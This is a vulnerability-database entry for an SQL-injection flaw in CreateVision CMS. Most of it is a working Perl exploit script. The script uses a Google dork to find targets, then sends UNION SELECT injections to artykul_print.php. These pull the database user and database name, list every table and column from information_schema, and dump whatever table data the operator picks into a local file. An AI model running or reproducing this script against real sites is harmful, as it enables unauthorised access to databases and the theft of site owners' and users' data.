1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 |
source: https://www.securityfocus.com/bid/52648/info CreateVision CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. #!/usr/local/bin/perl # # Exploit Title: CreateVision CMS Database injection. # Description: Virtually none of the variables are not filtered. # Google Dork: inurl:artykul_print.php # Date: 2012/02/24 # Author : Zwierzchowski Oskar # Software Link: http://www.createvision.pl/ # Version: All Version # Security Risk: High # Tested on: FreeBSD # Greets: Grzegorz Stachowiak, Damian Blaszczyk, Borislav Kotov. use strict; use warnings; use LWP::Simple; sub main () { my %config= ( 'host'=> '', 'columns' => ',3,4', 'column'=> '', 'table' => '' ); my %send= (); getops(\%config); getcolumn(\%config, \%send); getuser(\%config, \%send); getdatabase(\%config, \%send); gettables(\%config, \%send); otherdata(\%config, \%send); return 0; } sub getdatabase ($$) { my $config= shift; my $send= shift; my $data; $data = get $config->{host}.$send->{database}; analizedata($data, 'Database'); return ($config, $send); } sub getuser ($$) { my $config= shift; my $send= shift; my $data; $data = get $config->{host}.$send->{user}; analizedata($data, 'User'); return ($config, $send); } sub gettables ($$) { my $config= shift; my $send= shift; my $data; $data = get $config->{host}.$send->{column}; analizedata($data, 'Tables'); } sub otherdata ($$) { my $config= shift; my $send= shift; my $data; my $table; my $column; print "[+]\tIf you want to draw some data? (1 or 2)\r\n\r\n"; print "[1]\tYes\r\n"; print "[2]\tNo\r\n"; $data = <STDIN>; chomp($data); if ($data == 2) { exit 0; } else { print "[+]\tName of the table which you want to download (check the output.txt) :\r\n"; $table= <STDIN>; chomp($table); print "[+]\tGet column/s: (ex. column1,column2,column3)\r\n"; $column = <STDIN>; chomp($column); $column =~ s/,/,char(58),/g; $send->{tables}= '/artykul_print.php?id=103+and+1=2+union+select+1,concat('.$column.')'.$config->{columns}.'+from+'.$table.'--'; $data = get $config->{host}.$send->{tables}; analizedata($data, 'MYDATA'); } return 0; } sub analizedata ($$) { my $data= shift; my $pref= shift; my $table; my $column; my @columns = (''); my @tables= (''); while ($data =~ /<span class=\"tytul_artykulu\">(.*?)<\/span>/g) { if ($pref eq 'Tables') { ($table, $column) = split(/:/, $1); save($1, 'output.txt'); push(@columns, $column); if ($table eq $tables[$#tables]) { } else { push(@tables, $table); } } else { print "[+]\t[".$pref."][".$1."]\r\n"; save($1, 'output.txt'); } } if ($pref eq 'Tables') { print "[+]\t".$#columns." columns in ".$#tables." tables\r\n"; print "[+]\tResults has been saved into output.txt\r\n"; } return 0; } sub getops ($) { my $config= shift; if (!$ARGV[0] || $ARGV[0] !~ /http:\/\//) { print "[+]\tUsage: perl splo.pl http://host.com\r\n"; exit 0; } else { $config->{host}= $ARGV[0]; } return $config; } sub getcolumn ($$) { my $config= shift; my $send= shift; my $data; for (1..20) { incrcolum($config); $send->{user}= '/artykul_print.php?id=105+and+1=2+union+select+1,user()'.$config->{columns}.'--'; $send->{database}= '/artykul_print.php?id=105+and+1=2+union+select+1,database()'.$config->{columns}.'--'; $send->{column}= '/artykul_print.php?id=105+and+1=2+union+select+1,concat(table_name,char(58),column_name)'.$config->{columns}.'+from+information_schema.columns--'; $data = get $config->{host}.$send->{user}; if (index($data, "<span class=\"tytul_artykulu\">") != -1) { return ($config, $send); } } return $config; } sub incrcolum ($) { my $config= shift; my @digits= split(/,/, $config->{columns}); my $data= (($digits[$#digits])+1); $config->{columns} =~ s/$config->{columns}/$config->{columns},$data/g; return $config; } sub save ($$) { my $data= shift; my $file= shift; open(FILE, ">>".$file.""); print FILE "".$data."\r\n"; close FILE; return 0; } main(); |